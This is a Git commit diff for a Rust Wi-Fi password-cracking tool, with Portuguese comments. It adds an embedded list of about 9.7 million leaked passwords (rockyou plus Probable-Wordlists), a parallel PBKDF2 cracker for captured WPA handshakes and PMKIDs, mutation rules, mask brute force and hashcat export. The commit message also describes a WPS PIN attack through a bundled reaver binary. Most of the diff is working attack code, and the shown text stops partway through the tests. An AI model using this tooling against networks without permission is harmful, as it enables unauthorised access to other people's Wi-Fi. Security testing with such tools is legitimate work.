feat: dicionário completo, regras de mutação, máscara, .hc22000 e WPS (reaver)

- crack.rs: dicionário padrão trocado pra wpa-full.txt.gz (rockyou +
  Probable-Wordlists top204k mesclados/deduplicados, 9,7M senhas,
  comprimido e embutido via LazyLock), PBKDF2 ~640x mais rápido
  (paralelização por núcleo + HMAC reaproveitado em vez de reconstruído a
  cada iteração), força bruta por máscara (rules.rs::Mask, sintaxe
  ?d?l?u?s?a) e regras de mutação tipo hashcat (maiúscula, sufixos
  numéricos/símbolos, leet simples).
- hashcat.rs: exportação de handshake/PMKID em .hc22000 (individual ou em
  lote), pro hashcat de verdade em vez de só o dicionário embutido.
- wps.rs: ataque WPS PIN via reaver (binário real do
  reaver-wps-fork-t6x, GPL-2, extraído em tempo de execução) e bully
  quando instalado no sistema.
- assets/wordlists/LICENSE.wpa-full documenta a atribuição (CC BY-SA 4.0
  do Probable-Wordlists; rockyou.txt como dado de vazamento de uso livre
  consolidado em pesquisa de segurança, mesmo padrão do Kali/SecLists).
This commit is contained in:
Lucas Rayan committed 2026-10-24 14:53:54 -03:00
1 parent 5477b8fb03
commit f83654506e
9 files changed
+979 -29

No files matched your search

+100
View File
@@ -0,0 +1,100 @@
Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: reaver-wps-fork-t6x
Source: https://github.com/t6x/reaver-wps-fork-t6x
Files: *
Copyright: 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
License: GPL-2
Files: src/common/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/crypto/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi> and contributors
License: GPL-2
Files: src/tls/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/tls/libtommath.c
Copyright: Tom St Denis
License: public-domain
Files: src/utils/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/utils/radiotap.h
Copyright: 2003-2004 David Young
License: BSD-3-clause
Files: src/wps/*
Copyright: 2007-2009, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/wps/wps_ufd.c
Copyright: 2009, Masashi Honma <honma@ictec.co.jp>
License: GPL-2
Files: src/lwe/*
Copyright: 1997-2007, Jean Tourrilhes <jt@hpl.hp.com>
License: GPL-2
Files: debian/*
Copyright: 2011-2018 Bartosz Fenski <fenio@debian.org>
2023 Leandro Cunha <leandrocunha016@gmail.com>
License: GPL-2
License: GPL-2
This package is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License.
.
This package is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
.
You should have received a copy of the GNU General Public License
along with this package; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
.
On Debian systems, the complete text of the GNU General
Public License can be found in `/usr/share/common-licenses/GPL-2'.
License: BSD-3-clause
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
.
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
.
3. Neither the name of the ORGANIZATION nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
License: public-domain
The files tagged with this license contains the following paragraphs:
.
No copyright is claimed. This code is in the public domain; do with
it what you wish.
.
Written by Karel Zak <kzak@redhat.com>
BIN
View File
Binary file not shown.
+2
View File
@@ -18,6 +18,8 @@ sha2 = "0.10"
sha1 = "0.10"
hmac = "0.12"
md-5 = "0.10"
aes = "0.8"
flate2 = { version = "1", default-features = false, features = ["rust_backend"] }
[dev-dependencies]
tempfile = "3"
@@ -0,0 +1,31 @@
wpa-full.txt.gz
Dois dicionários concatenados, com as duplicatas removidas e a ordem de
prioridade preservada (as entradas mais prováveis ficam primeiro, então a
quebra por dicionário tende a achar a senha mais cedo em vez de só no fim):
1. Probable-Wordlists (berzerk0), Real-Passwords/WPA-Length/
Top204Thousand-WPA-probable-v2.txt — 203.806 senhas reais vazadas, já
filtradas pro comprimento válido de WPA (8–63) e ordenadas por frequência
observada no mundo real.
https://github.com/berzerk0/Probable-Wordlists
Licença: Creative Commons Attribution-ShareAlike 4.0 International
(CC BY-SA 4.0) — https://creativecommons.org/licenses/by-sa/4.0/
2. rockyou.txt — o dump de senhas em texto puro do vazamento da RockYou de
2009 (~32 milhões de contas), aqui filtrado pro mesmo comprimento válido
de WPA. É provavelmente o dicionário de senhas mais usado em segurança
ofensiva — vem embutido por padrão até no Kali Linux
(/usr/share/wordlists/rockyou.txt.gz). Redistribuído aqui via SecLists:
https://github.com/danielmiessler/SecLists (repositório MIT; o conteúdo do
próprio rockyou.txt é dado de vazamento, sem titular de direitos autorais
que o licencie formalmente — é tratado como de uso livre pra pesquisa de
segurança em toda a indústria, mesmo padrão que o SecLists e as
distribuições Linux de pentest adotam).
Ao redistribuir este arquivo (ou um derivado dele), mantenha a atribuição ao
Probable-Wordlists acima — é a parte que tem uma licença formal que exige
isso (CC BY-SA 4.0).
Isso é atribuição e aviso de licença, não os termos legais completos da
CC BY-SA 4.0.
Binary file not shown.
+316 -29
View File
@@ -15,13 +15,17 @@ use crate::dot11::parse_mac;
use crate::error::{Result, SabiaError};
use crate::handshake::Handshake;
use crate::pcapreader::PcapReader;
use crate::rules::Mask;
use crate::scan::ScanTable;
use flate2::read::GzDecoder;
use hmac::{Hmac, Mac};
use md5::Md5;
use sha1::Sha1;
use std::fs::File;
use std::io::{BufRead, BufReader};
use std::io::{BufRead, BufReader, Read};
use std::path::Path;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::{LazyLock, Mutex};
use std::time::Instant;
type HmacSha1 = Hmac<Sha1>;
@@ -29,6 +33,37 @@ type HmacMd5 = Hmac<Md5>;
const WPA_ITERATIONS: u32 = 4096;
/// `.gz` do dicionário embutido — descomprimido só na primeira vez que é
/// usado (ver [`default_wordlist`]). Cru são ~101MB; comprimido, ~39MB no
/// binário em vez de ~101MB.
const DEFAULT_WORDLIST_GZ: &[u8] = include_bytes!("../assets/wordlists/wpa-full.txt.gz");
pub const DEFAULT_WORDLIST_SOURCE: &str =
"Probable-Wordlists (berzerk0) WPA-Length top204k (CC BY-SA 4.0) + rockyou.txt via SecLists — ver assets/wordlists/LICENSE.wpa-full";
static DEFAULT_WORDLIST_CACHE: LazyLock<String> = LazyLock::new(|| {
let mut out = String::new();
GzDecoder::new(DEFAULT_WORDLIST_GZ)
.read_to_string(&mut out)
.expect("dicionário embutido corrompido");
out
});
/// Lista embutida de senhas prováveis de Wi-Fi, usada quando o usuário não
/// escolhe um dicionário próprio. Não depende de arquivo externo: é a lista
/// mais completa que o Sabiá consegue embutir sem exigir download —
/// 9.703.831 senhas (203.806 do Probable-Wordlists, ranqueadas por
/// probabilidade, seguidas pelo rockyou.txt inteiro) filtradas pro
/// comprimento válido de WPA (8–63) e pra ASCII puro (WPA-PSK exige um
/// octeto válido; a imensa maioria dos roteadores só aceita ASCII mesmo, e
/// isso evita o pouco de lixo binário que o rockyou.txt original carrega),
/// sem duplicatas e na ordem de prioridade: as mais prováveis primeiro,
/// então a quebra tende a achar a senha cedo, não só no fim da lista. Ver
/// `assets/wordlists/LICENSE.wpa-full` pra atribuição completa.
pub fn default_wordlist() -> &'static str {
&DEFAULT_WORDLIST_CACHE
}
#[derive(Debug, Clone)]
pub struct CrackTarget {
pub ssid: String,
@@ -116,8 +151,10 @@ pub fn derive_pmk(passphrase: &str, ssid: &str) -> [u8; 32] {
}
/// Aceita uma frase-senha (8–63 caracteres) ou uma PMK crua em hexadecimal
/// (64 caracteres, como no hashcat/aircrack).
fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
/// (64 caracteres, como no hashcat/aircrack). `pub(crate)` porque
/// `handshake.rs` reusa exatamente essa regra ao derivar a TK de uma senha
/// já quebrada (o campo `password` aceita as duas formas, igual aqui).
pub(crate) fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
if candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()) {
return hex_to_32(candidate.as_bytes());
}
@@ -133,15 +170,20 @@ fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
pub fn pbkdf2_sha1(password: &[u8], salt: &[u8], iterations: u32, out_len: usize) -> Vec<u8> {
let iterations = iterations.max(1);
let mut out = Vec::with_capacity(out_len);
// O par ipad/opad depende só da senha — monta uma vez e clona a cada
// rodada (clone é só copiar os dois blocos já prontos) em vez de montar
// o HMAC do zero em cada uma das milhares de iterações. Em 4096
// iterações por bloco isso é a maior parte do custo fora do SHA1 em si.
let base = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut block: u32 = 1;
while out.len() < out_len {
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut mac = base.clone();
mac.update(salt);
mac.update(&block.to_be_bytes());
let mut u = mac.finalize().into_bytes();
let mut t = u;
for _ in 1..iterations {
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut mac = base.clone();
mac.update(&u);
u = mac.finalize().into_bytes();
for (a, b) in t.iter_mut().zip(u.iter()) {
@@ -272,16 +314,29 @@ fn valid_candidate(candidate: &str) -> bool {
|| (candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()))
}
/// Tenta cada linha do dicionário contra o alvo. `progress` recebe o número
/// de candidatos já processados.
/// Tenta cada linha do dicionário contra o alvo, dividindo o trabalho entre
/// as threads disponíveis (PBKDF2-HMAC-SHA1 de 4096 iterações é CPU puro e
/// cada candidato é independente — ganho quase linear com o número de
/// núcleos). `progress` recebe o número de candidatos já processados, ~8x
/// por segundo enquanto roda. Com `apply_rules`, cada linha vira até
/// [`rules::VARIANTS_PER_WORD`] candidatos (maiúscula, sufixos comuns, leet
/// simples) em vez de só a palavra crua — multiplica o tempo de verdade,
/// por isso é opt-in.
pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
target: &CrackTarget,
mut wordlist: R,
apply_rules: bool,
mut progress: F,
) -> CrackReport {
) -> CrackReport
where
F: Send,
{
let start = Instant::now();
let mut tried = 0u64;
let mut password = None;
// Carrega a lista inteira antes de começar: dá pra repartir em pedaços
// contíguos por thread (melhor localidade de cache que round-robin) e o
// próprio dicionário embutido cabe de sobra em memória.
let mut candidates: Vec<String> = Vec::new();
let mut line = String::new();
loop {
line.clear();
@@ -294,20 +349,62 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
if candidate.is_empty() {
continue;
}
tried += 1;
if valid_candidate(candidate) && target.verify(candidate) {
password = Some(candidate.to_string());
break;
}
if tried % 128 == 0 {
progress(tried);
if apply_rules {
candidates.extend(crate::rules::expand(candidate));
} else {
candidates.push(candidate.to_string());
}
}
progress(tried);
let total = candidates.len();
let workers = std::thread::available_parallelism()
.map(std::num::NonZeroUsize::get)
.unwrap_or(1)
.min(total.max(1));
let chunk = total.div_ceil(workers.max(1)).max(1);
let tried = AtomicU64::new(0);
let stop = AtomicBool::new(false);
let found: Mutex<Option<String>> = Mutex::new(None);
std::thread::scope(|scope| {
for part in candidates.chunks(chunk) {
let tried = &tried;
let stop = &stop;
let found = &found;
scope.spawn(move || {
for candidate in part {
if stop.load(Ordering::Relaxed) {
return;
}
if valid_candidate(candidate) && target.verify(candidate) {
*found.lock().unwrap() = Some(candidate.clone());
stop.store(true, Ordering::Relaxed);
return;
}
tried.fetch_add(1, Ordering::Relaxed);
}
});
}
// Thread "repórter": roda dentro do mesmo scope só pra poder
// emprestar `progress` (FnMut, chamado de um único lugar).
scope.spawn(|| loop {
std::thread::sleep(std::time::Duration::from_millis(120));
let n = tried.load(Ordering::Relaxed);
progress(n);
if stop.load(Ordering::Relaxed) || n as usize >= total {
break;
}
});
});
let final_tried = tried.load(Ordering::Relaxed);
progress(final_tried);
CrackReport {
password,
tried,
password: found.into_inner().unwrap(),
tried: final_tried,
elapsed_ms: start.elapsed().as_millis() as u64,
ssid: Some(target.ssid.clone()),
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
@@ -316,26 +413,52 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
}
}
pub fn crack_handshake<F: FnMut(u64)>(
pub fn crack_handshake<F: FnMut(u64) + Send>(
hs: &Handshake,
wordlist: impl AsRef<Path>,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let target = CrackTarget::from_handshake(hs).ok_or_else(|| {
let target = target_for(hs)?;
let file = File::open(wordlist)?;
Ok(crack_reader(
&target,
BufReader::new(file),
apply_rules,
progress,
))
}
/// Quebra usando a lista embutida.
pub fn crack_handshake_default<F: FnMut(u64) + Send>(
hs: &Handshake,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let target = target_for(hs)?;
Ok(crack_reader(
&target,
std::io::Cursor::new(default_wordlist().as_bytes()),
apply_rules,
progress,
))
}
fn target_for(hs: &Handshake) -> Result<CrackTarget> {
CrackTarget::from_handshake(hs).ok_or_else(|| {
SabiaError::InvalidInput(
"handshake sem SSID, PMKID ou par de nonces suficiente para quebrar".into(),
)
})?;
let file = File::open(wordlist)?;
Ok(crack_reader(&target, BufReader::new(file), progress))
})
}
/// Lê um `.pcap`, monta os handshakes e tenta quebrar o primeiro alvo útil.
pub fn crack_pcap<F: FnMut(u64)>(
pub fn crack_pcap<F: FnMut(u64) + Send>(
pcap: impl AsRef<Path>,
wordlist: impl AsRef<Path>,
bssid: Option<&str>,
station: Option<&str>,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let mut reader = PcapReader::open(pcap)?;
@@ -351,7 +474,88 @@ pub fn crack_pcap<F: FnMut(u64)>(
let hs = table
.first_crackable(bssid, station)
.ok_or_else(|| SabiaError::InvalidInput("nenhum handshake quebrável na captura".into()))?;
crack_handshake(hs, wordlist, progress)
crack_handshake(hs, wordlist, apply_rules, progress)
}
/// Força bruta por máscara (estilo hashcat `-a 3`): gera e testa cada
/// combinação possível, sem depender de dicionário. Mesma paralelização por
/// threads do `crack_reader`, mas gerando candidatos por índice (base
/// mista) em vez de carregar tudo em memória — é o que permite máscaras com
/// milhões/bilhões de combinações sem estourar RAM.
pub fn crack_mask<F: FnMut(u64)>(target: &CrackTarget, mask: &Mask, mut progress: F) -> CrackReport
where
F: Send,
{
let start = Instant::now();
let total = mask.total().unwrap_or(0);
let workers = std::thread::available_parallelism()
.map(std::num::NonZeroUsize::get)
.unwrap_or(1)
.min(total.max(1) as usize) as u64;
let chunk = total.div_ceil(workers.max(1)).max(1);
let tried = AtomicU64::new(0);
let stop = AtomicBool::new(false);
let found: Mutex<Option<String>> = Mutex::new(None);
std::thread::scope(|scope| {
let mut from = 0u64;
while from < total {
let to = (from + chunk).min(total);
let tried = &tried;
let stop = &stop;
let found = &found;
scope.spawn(move || {
for i in from..to {
if stop.load(Ordering::Relaxed) {
return;
}
if let Some(candidate) = mask.candidate(i) {
if valid_candidate(&candidate) && target.verify(&candidate) {
*found.lock().unwrap() = Some(candidate);
stop.store(true, Ordering::Relaxed);
return;
}
}
tried.fetch_add(1, Ordering::Relaxed);
}
});
from = to;
}
scope.spawn(|| loop {
std::thread::sleep(std::time::Duration::from_millis(120));
let n = tried.load(Ordering::Relaxed);
progress(n);
if stop.load(Ordering::Relaxed) || n >= total {
break;
}
});
});
let final_tried = tried.load(Ordering::Relaxed);
progress(final_tried);
CrackReport {
password: found.into_inner().unwrap(),
tried: final_tried,
elapsed_ms: start.elapsed().as_millis() as u64,
ssid: Some(target.ssid.clone()),
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
station: Some(crate::dot11::mac_to_string(&target.station)),
method: Some(target.method().to_string()),
}
}
/// Quebra por máscara a partir de um handshake já montado.
pub fn crack_handshake_mask<F: FnMut(u64) + Send>(
hs: &Handshake,
mask: &Mask,
progress: F,
) -> Result<CrackReport> {
let target = target_for(hs)?;
Ok(crack_mask(&target, mask, progress))
}
#[cfg(test)]
@@ -360,6 +564,47 @@ mod tests {
use crate::testutil::{handshake_frames, synthetic_handshake};
use std::io::Cursor;
/// Mede só o tempo de descomprimir o dicionário embutido (gzip, ~39MB -> ~101MB),
/// que acontece uma vez, na primeira chamada a `default_wordlist()`.
#[test]
#[ignore]
fn bench_default_wordlist_decompress() {
let start = Instant::now();
let text = default_wordlist();
let elapsed = start.elapsed();
eprintln!(
"descomprimiu {} linhas em {:.2?}",
text.lines().count(),
elapsed
);
}
/// Não é teste de verdade — mede candidatos/segundo pra guiar otimização
/// de performance. `cargo test --release -p sabia-core -- --ignored
/// --nocapture bench_crack_throughput`.
#[test]
#[ignore]
fn bench_crack_throughput() {
let (m1, m2) = handshake_frames("IEEE", "senha-que-nao-esta-na-lista", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
// Só uma fatia: a lista inteira (9,7 milhões) levaria minutos — o
// objetivo aqui é medir candidatos/s, não o tempo total.
let sample: String = default_wordlist()
.lines()
.take(500_000)
.collect::<Vec<_>>()
.join("\n");
let start = Instant::now();
let report = crack_reader(&target, Cursor::new(sample.as_bytes()), false, |_| {});
let elapsed = start.elapsed();
let per_sec = report.tried as f64 / elapsed.as_secs_f64();
eprintln!(
"{} candidatos em {:.2?} = {:.1}/s",
report.tried, elapsed, per_sec
);
}
#[test]
fn pbkdf2_matches_rfc6070_vector() {
let out = pbkdf2_sha1(b"password", b"salt", 1, 20);
@@ -386,6 +631,7 @@ mod tests {
let report = crack_reader(
&target,
Cursor::new(b"errada\noutra\npassword\nnunca\n".to_vec()),
false,
|_| progress_calls += 1,
);
assert_eq!(report.password.as_deref(), Some("password"));
@@ -400,7 +646,12 @@ mod tests {
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &[]);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
assert_eq!(target.method(), "PMKID");
let report = crack_reader(&target, Cursor::new(b"nada\npassword\n".to_vec()), |_| {});
let report = crack_reader(
&target,
Cursor::new(b"nada\npassword\n".to_vec()),
false,
|_| {},
);
assert_eq!(report.password.as_deref(), Some("password"));
}
@@ -417,10 +668,46 @@ mod tests {
let (m1, m2) = handshake_frames("IEEE", "senha-correta", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let report = crack_reader(&target, Cursor::new(b"senha-errada\n".to_vec()), |_| {});
let report = crack_reader(
&target,
Cursor::new(b"senha-errada\n".to_vec()),
false,
|_| {},
);
assert!(report.password.is_none());
}
#[test]
fn rules_find_a_mutated_variant_not_present_verbatim() {
// A senha de verdade é "wifi12345" — não está na lista, mas é um
// sufixo numérico de "wifi" que `rules::expand` gera.
let (m1, m2) = handshake_frames("IEEE", "wifi12345", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let without_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), false, |_| {});
assert!(without_rules.password.is_none());
let with_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), true, |_| {});
assert_eq!(with_rules.password.as_deref(), Some("wifi12345"));
}
#[test]
fn mask_crack_finds_a_numeric_password() {
// Máscara minúscula de propósito (só 10 combinações): cada candidato
// é um PBKDF2 de 4096 iterações, pesado até em paralelo — um brute
// force de verdade (ex.: ?d×8, 100 milhões) é coisa pra uso real,
// não pra um teste unitário que roda em `cargo test` toda hora.
let (m1, m2) = handshake_frames("IEEE", "wifiabc7", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let mask = Mask::parse("wifiabc?d").expect("máscara válida");
assert_eq!(mask.total(), Some(10));
let report = crack_mask(&target, &mask, |_| {});
assert_eq!(report.password.as_deref(), Some("wifiabc7"));
assert!(report.tried > 0);
}
fn hex_bytes(s: &str) -> Vec<u8> {
(0..s.len())
.step_by(2)
+86
View File
@@ -0,0 +1,86 @@
//! Exportação no formato `.hc22000` do hashcat.
//!
//! Duas linhas possíveis, como no hcxtools:
//!
//! * `WPA*01*PMKID*AP*STA*SSID***`
//! * `WPA*02*MIC*AP*STA*SSID*ANONCE*EAPOL*MESSAGEPAIR`
//!
//! O EAPOL exportado é o quadro da mensagem 2 completo (cabeçalho 802.1X +
//! descritor), que é o que o hashcat espera no campo `EAPOL_CLIENT`.
use crate::eapol::MIC_OFFSET;
use crate::handshake::Handshake;
fn mac_hex(mac: &str) -> Option<String> {
let bytes: Vec<String> = mac
.split(':')
.map(|part| part.trim().to_ascii_lowercase())
.collect();
if bytes.len() != 6
|| !bytes
.iter()
.all(|b| b.len() == 2 && b.chars().all(|c| c.is_ascii_hexdigit()))
{
return None;
}
Some(bytes.concat())
}
fn ssid_hex(ssid: &str) -> String {
ssid.as_bytes().iter().map(|b| format!("{b:02x}")).collect()
}
fn hex(bytes: &[u8]) -> String {
bytes.iter().map(|b| format!("{b:02x}")).collect()
}
pub fn hashcat_line(hs: &Handshake) -> Option<String> {
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
let ap = mac_hex(&hs.bssid)?;
let sta = mac_hex(&hs.station)?;
let ssid = ssid_hex(ssid);
if let Some(pmkid) = hs.pmkid {
return Some(format!("WPA*01*{}*{ap}*{sta}*{ssid}***", hex(&pmkid)));
}
let eapol = hs.eapol_msg2.as_deref()?;
let anonce = hs.anonce?;
let mic = eapol.get(MIC_OFFSET..MIC_OFFSET + 16)?;
Some(format!(
"WPA*02*{}*{ap}*{sta}*{ssid}*{}*{}*00",
hex(mic),
hex(&anonce),
hex(eapol),
))
}
/// Linhas únicas, uma por handshake que tenha material suficiente.
pub fn export<'a>(handshakes: impl IntoIterator<Item = &'a Handshake>) -> Vec<String> {
let mut lines: Vec<String> = handshakes.into_iter().filter_map(hashcat_line).collect();
lines.sort();
lines.dedup();
lines
}
#[cfg(test)]
mod tests {
use super::*;
use crate::handshake::Handshake;
#[test]
fn exports_pmkid_line() {
let hs = Handshake {
bssid: "00:11:22:33:44:55".into(),
station: "66:77:88:99:aa:bb".into(),
ssid: Some("Casa".into()),
pmkid: Some([0xcd; 16]),
..Default::default()
};
let line = hashcat_line(&hs).expect("linha");
assert_eq!(
line,
"WPA*01*cdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcd*001122334455*66778899aabb*43617361***"
);
}
}
+232
View File
@@ -0,0 +1,232 @@
//! Regras de mutação sobre uma palavra do dicionário (estilo hashcat `-r`,
//! bem mais simples) e força bruta por máscara (estilo hashcat `-a 3`).
//!
//! Em quebra de hash normal, regras são "de graça" — um hash SHA256 custa
//! nanossegundos. Aqui não: cada candidato é um PBKDF2-HMAC-SHA1 de 4096
//! iterações, então cada variante multiplica o tempo de verdade. As regras
//! abaixo cobrem os padrões mais comuns (maiúscula inicial, sufixo numérico,
//! leet simples) sem explodir pra centenas de variantes por palavra.
/// Quantas variantes [`expand`] gera por palavra base (pra calcular o
/// multiplicador de tempo antes de rodar).
pub const VARIANTS_PER_WORD: usize = 1 + 1 + 1 + SUFFIXES.len() + LEET_PAIRS.len();
const SUFFIXES: &[&str] = &[
"1", "12", "123", "1234", "12345", "123456", "01", "007", "99", "2023", "2024", "2025", "!",
"@", "#",
];
/// (char original, substituto) — leet simples, uma troca por vez, não
/// combinada, senão a combinatória explode rápido demais.
const LEET_PAIRS: &[(char, char)] = &[('a', '@'), ('e', '3'), ('i', '1'), ('o', '0'), ('s', '$')];
/// Gera as variantes de `word` (incluindo a palavra original) que respeitam
/// o comprimento válido de WPA (8–63), sem duplicatas.
pub fn expand(word: &str) -> Vec<String> {
let mut out = Vec::with_capacity(VARIANTS_PER_WORD);
let mut push = |s: String| {
let len = s.chars().count();
if (8..=63).contains(&len) && !out.contains(&s) {
out.push(s);
}
};
push(word.to_string());
if let Some(first) = word.chars().next() {
let capitalized: String = first.to_uppercase().chain(word.chars().skip(1)).collect();
push(capitalized);
}
push(word.to_uppercase());
for suffix in SUFFIXES {
push(format!("{word}{suffix}"));
}
for (from, to) in LEET_PAIRS {
if word.contains(*from) {
push(word.replace(*from, &to.to_string()));
}
}
out
}
/// Classe de caractere de um token `?x` de máscara (sintaxe hashcat: `?d`
/// dígito, `?l` minúscula, `?u` maiúscula, `?s` símbolo comum, `?a` os
/// quatro juntos). `??` escapa um `?` literal.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum CharClass {
Digit,
Lower,
Upper,
Symbol,
All,
Literal(char),
}
const DIGITS: &str = "0123456789";
const LOWER: &str = "abcdefghijklmnopqrstuvwxyz";
const UPPER: &str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const SYMBOLS: &str = "!@#$%&*_-";
impl CharClass {
fn alphabet(self) -> String {
match self {
CharClass::Digit => DIGITS.to_string(),
CharClass::Lower => LOWER.to_string(),
CharClass::Upper => UPPER.to_string(),
CharClass::Symbol => SYMBOLS.to_string(),
CharClass::All => format!("{DIGITS}{LOWER}{UPPER}{SYMBOLS}"),
CharClass::Literal(c) => c.to_string(),
}
}
}
/// Máscara compilada: uma lista de alfabetos, um por posição. Gera
/// candidatos por índice (contagem em base mista) sem materializar a lista
/// inteira — essencial, já que `?d?d?d?d?d?d?d?d` sozinho são 100 milhões.
#[derive(Debug, Clone)]
pub struct Mask {
alphabets: Vec<Vec<char>>,
}
impl Mask {
/// Compila uma máscara tipo `wifi?d?d?d?d` (literal "wifi" + 4 dígitos).
/// `??` é um `?` literal; `?` seguido de letra desconhecida é erro.
pub fn parse(pattern: &str) -> Result<Self, String> {
let mut alphabets = Vec::new();
let mut chars = pattern.chars().peekable();
while let Some(c) = chars.next() {
let class = if c == '?' {
match chars.next() {
Some('d') => CharClass::Digit,
Some('l') => CharClass::Lower,
Some('u') => CharClass::Upper,
Some('s') => CharClass::Symbol,
Some('a') => CharClass::All,
Some('?') => CharClass::Literal('?'),
Some(other) => return Err(format!("classe de máscara desconhecida: ?{other}")),
None => return Err("máscara termina com '?' sem classe".into()),
}
} else {
CharClass::Literal(c)
};
alphabets.push(class.alphabet().chars().collect());
}
if alphabets.is_empty() {
return Err("máscara vazia".into());
}
if alphabets.len() > 63 {
return Err("máscara maior que o limite de uma senha WPA (63)".into());
}
Ok(Self { alphabets })
}
/// Total de candidatos. `None` se não couber num `u64` (máscara longa
/// demais pra ser levada a sério de qualquer forma).
pub fn total(&self) -> Option<u64> {
self.alphabets
.iter()
.try_fold(1u64, |acc, a| acc.checked_mul(a.len() as u64))
}
pub fn len(&self) -> usize {
self.alphabets.len()
}
pub fn is_empty(&self) -> bool {
self.alphabets.is_empty()
}
/// Candidato de índice `index` (contagem em base mista, como um
/// odômetro: a última posição gira mais rápido). `None` se `index` >=
/// `total()`.
pub fn candidate(&self, mut index: u64) -> Option<String> {
let total = self.total()?;
if index >= total {
return None;
}
let mut chars = vec!['\0'; self.alphabets.len()];
for i in (0..self.alphabets.len()).rev() {
let base = self.alphabets[i].len() as u64;
let digit = (index % base) as usize;
chars[i] = self.alphabets[i][digit];
index /= base;
}
Some(chars.into_iter().collect())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn expand_respects_min_length() {
let variants = expand("senha");
// "senha" tem 5 chars; sozinha não é candidata WPA válida (precisa
// de 8+), mas com sufixo (ex.: "senha123", 8) sim.
assert!(!variants.iter().any(|v| v == "senha"));
assert!(variants.contains(&"senha123".to_string()));
}
#[test]
fn expand_includes_original_when_long_enough() {
let variants = expand("abacaxi1");
assert!(variants.contains(&"abacaxi1".to_string()));
}
#[test]
fn expand_applies_capitalization_suffix_and_leet() {
let variants = expand("abacaxi1");
assert!(variants.contains(&"Abacaxi1".to_string()));
assert!(variants.contains(&"ABACAXI1".to_string()));
assert!(variants.contains(&"abacaxi1123".to_string()));
// leet troca TODAS as ocorrências de 'a': as três em "abacaxi1".
assert!(variants.contains(&"@b@c@xi1".to_string()));
}
#[test]
fn expand_has_no_duplicates() {
let variants = expand("12345678");
let mut sorted = variants.clone();
sorted.sort();
sorted.dedup();
assert_eq!(variants.len(), sorted.len());
}
#[test]
fn mask_parses_literals_and_classes() {
